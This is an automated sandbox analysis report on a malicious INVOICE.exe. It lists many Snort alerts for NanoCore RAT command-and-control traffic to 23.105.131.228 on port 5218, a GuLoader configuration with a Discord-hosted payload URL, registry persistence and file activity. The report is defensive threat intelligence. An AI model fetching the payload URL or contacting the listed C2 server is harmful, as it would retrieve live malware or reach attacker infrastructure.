Timestamp:	192.168.11.2023.105.131.2284978452182025019 05/25/22-16:28:18.576555
SID:	2025019
Source Port:	49784
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981952182025019 05/25/22-16:31:57.191772
SID:	2025019
Source Port:	49819
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284985052182816766 05/25/22-16:34:26.408613
SID:	2816766
Source Port:	49850
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 23.105.131.228 - Destination IP: 192.168.11.20

Timestamp:	23.105.131.228192.168.11.205218498312841753 05/25/22-16:32:34.844440
SID:	2841753
Source Port:	5218
Destination Port:	49831
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983952182025019 05/25/22-16:33:16.763494
SID:	2025019
Source Port:	49839
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284976752182816766 05/25/22-16:27:06.607242
SID:	2816766
Source Port:	49767
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984052182816766 05/25/22-16:33:24.678606
SID:	2816766
Source Port:	49840
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983352182816766 05/25/22-16:32:47.320512
SID:	2816766
Source Port:	49833
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keepalive Response 1 - Source IP: 23.105.131.228 - Destination IP: 192.168.11.20

Timestamp:	23.105.131.228192.168.11.205218498002810290 05/25/22-16:29:59.624575
SID:	2810290
Source Port:	5218
Destination Port:	49800
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981352182816766 05/25/22-16:31:21.456707
SID:	2816766
Source Port:	49813
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979452182025019 05/25/22-16:29:21.751685
SID:	2025019
Source Port:	49794
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980952182025019 05/25/22-16:30:54.829029
SID:	2025019
Source Port:	49809
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981552182816718 05/25/22-16:31:32.812110
SID:	2816718
Source Port:	49815
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980452182816766 05/25/22-16:30:25.689265
SID:	2816766
Source Port:	49804
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984352182816766 05/25/22-16:33:43.265564
SID:	2816766
Source Port:	49843
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983952182816766 05/25/22-16:33:18.245419
SID:	2816766
Source Port:	49839
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984952182816766 05/25/22-16:34:20.172443
SID:	2816766
Source Port:	49849
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979152182816766 05/25/22-16:29:04.010879
SID:	2816766
Source Port:	49791
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978152182816766 05/25/22-16:28:01.588003
SID:	2816766
Source Port:	49781
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977152182816766 05/25/22-16:27:11.283267
SID:	2816766
Source Port:	49771
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980352182816766 05/25/22-16:30:18.720362
SID:	2816766
Source Port:	49803
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980052182025019 05/25/22-16:29:59.232879
SID:	2025019
Source Port:	49800
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284974852182816766 05/25/22-16:26:48.681674
SID:	2816766
Source Port:	49748
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980752182025019 05/25/22-16:30:42.432914
SID:	2025019
Source Port:	49807
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284985152182816766 05/25/22-16:34:32.377118
SID:	2816766
Source Port:	49851
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977652182025019 05/25/22-16:27:34.857766
SID:	2025019
Source Port:	49776
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979652182025019 05/25/22-16:29:34.496572
SID:	2025019
Source Port:	49796
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981752182025019 05/25/22-16:31:44.732801
SID:	2025019
Source Port:	49817
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978652182025019 05/25/22-16:28:30.959545
SID:	2025019
Source Port:	49786
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978852182816766 05/25/22-16:28:44.949511
SID:	2816766
Source Port:	49788
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977852182816766 05/25/22-16:27:42.950814
SID:	2816766
Source Port:	49778
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983152182816766 05/25/22-16:32:34.844642
SID:	2816766
Source Port:	49831
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984152182816766 05/25/22-16:33:30.661382
SID:	2816766
Source Port:	49841
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983452182025019 05/25/22-16:32:51.785059
SID:	2025019
Source Port:	49834
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keepalive Response 1 - Source IP: 23.105.131.228 - Destination IP: 192.168.11.20

Timestamp:	23.105.131.228192.168.11.205218498442810290 05/25/22-16:33:47.960213
SID:	2810290
Source Port:	5218
Destination Port:	49844
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980152182025019 05/25/22-16:30:05.428634
SID:	2025019
Source Port:	49801
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984452182025019 05/25/22-16:33:47.586034
SID:	2025019
Source Port:	49844
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284974952182025019 05/25/22-16:26:53.269482
SID:	2025019
Source Port:	49749
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284975952182025019 05/25/22-16:26:59.829388
SID:	2025019
Source Port:	49759
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981152182025019 05/25/22-16:31:07.278886
SID:	2025019
Source Port:	49811
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982152182025019 05/25/22-16:32:09.548587
SID:	2025019
Source Port:	49821
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979352182816766 05/25/22-16:29:17.137280
SID:	2816766
Source Port:	49793
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982152182816766 05/25/22-16:32:11.284736
SID:	2816766
Source Port:	49821
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984152182025019 05/25/22-16:33:29.043736
SID:	2025019
Source Port:	49841
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981152182816766 05/25/22-16:31:09.026560
SID:	2816766
Source Port:	49811
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983152182025019 05/25/22-16:32:34.588426
SID:	2025019
Source Port:	49831
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284985152182025019 05/25/22-16:34:30.894473
SID:	2025019
Source Port:	49851
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978352182816766 05/25/22-16:28:14.229320
SID:	2816766
Source Port:	49783
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980152182816766 05/25/22-16:30:07.044829
SID:	2816766
Source Port:	49801
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980252182025019 05/25/22-16:30:11.623216
SID:	2025019
Source Port:	49802
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977352182816766 05/25/22-16:27:18.010840
SID:	2816766
Source Port:	49773
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977652182816766 05/25/22-16:27:36.667274
SID:	2816766
Source Port:	49776
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977852182025019 05/25/22-16:27:41.011477
SID:	2025019
Source Port:	49778
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978852182025019 05/25/22-16:28:43.166698
SID:	2025019
Source Port:	49788
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978652182816766 05/25/22-16:28:31.884971
SID:	2816766
Source Port:	49786
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979652182816766 05/25/22-16:29:36.135757
SID:	2816766
Source Port:	49796
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981252182025019 05/25/22-16:31:13.574908
SID:	2025019
Source Port:	49812
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982052182816766 05/25/22-16:32:04.963064
SID:	2816766
Source Port:	49820
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keepalive Response 1 - Source IP: 23.105.131.228 - Destination IP: 192.168.11.20

Timestamp:	23.105.131.228192.168.11.205218497792810290 05/25/22-16:27:47.647887
SID:	2810290
Source Port:	5218
Destination Port:	49779
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981552182025019 05/25/22-16:31:32.395920
SID:	2025019
Source Port:	49815
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984852182816718 05/25/22-16:34:13.753308
SID:	2816718
Source Port:	49848
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982252182025019 05/25/22-16:32:15.727698
SID:	2025019
Source Port:	49822
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983252182025019 05/25/22-16:32:39.456089
SID:	2025019
Source Port:	49832
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979852182025019 05/25/22-16:29:46.898756
SID:	2025019
Source Port:	49798
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980552182025019 05/25/22-16:30:30.115828
SID:	2025019
Source Port:	49805
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981052182816766 05/25/22-16:31:02.456519
SID:	2816766
Source Port:	49810
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984252182025019 05/25/22-16:33:35.275332
SID:	2025019
Source Port:	49842
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980052182816766 05/25/22-16:30:00.278352
SID:	2816766
Source Port:	49800
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978552182816766 05/25/22-16:28:26.357244
SID:	2816766
Source Port:	49785
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977952182025019 05/25/22-16:27:47.275839
SID:	2025019
Source Port:	49779
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979552182816766 05/25/22-16:29:29.845796
SID:	2816766
Source Port:	49795
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981452182025019 05/25/22-16:31:26.168469
SID:	2025019
Source Port:	49814
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980452182025019 05/25/22-16:30:23.941395
SID:	2025019
Source Port:	49804
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978952182025019 05/25/22-16:28:49.375932
SID:	2025019
Source Port:	49789
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979952182025019 05/25/22-16:29:53.078752
SID:	2025019
Source Port:	49799
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983352182025019 05/25/22-16:32:45.614041
SID:	2025019
Source Port:	49833
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984352182025019 05/25/22-16:33:41.543999
SID:	2025019
Source Port:	49843
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977552182816766 05/25/22-16:27:30.206122
SID:	2816766
Source Port:	49775
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000000.844018063.0000000001130000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://cdn.discordapp.com/attachments/963535165500588126/978282265127825408/NANOBIN_HBsjI150.bin"}

Multi AV Scanner detection for submitted file

Source: INVOICE.exe	Virustotal: Detection: 14%			Perma Link
Source: INVOICE.exe	ReversingLabs: Detection: 42%

Source: INVOICE.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\INVOICE.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\heliolitidae

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.11.20:49747 version: TLS 1.2

Source: INVOICE.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbw{ source: CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\net6.0-Release\System.Threading.pdb source: System.Threading.dll.0.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Handles\net6.0-Release\System.Runtime.Handles.pdb source: System.Runtime.Handles.dll.0.dr
Source:	Binary string: System.Threading.ni.pdb source: System.Threading.dll.0.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C49
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_00406873 FindFirstFileW,FindClose,	0_2_00406873
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_0040290B FindFirstFileW,	0_2_0040290B

Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData\Local\Temp\Arteriagra2.Syr	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData\Local\Temp\alnicoes.til	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49748 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49748 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49749 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49749 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49759 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2841753 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 23.105.131.228:5218 -> 192.168.11.20:49759
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49759 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49767 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49767 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49771 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49773 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49773 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49774 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49774 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49774 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49775 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49775 -> 23.105.131.228:5218
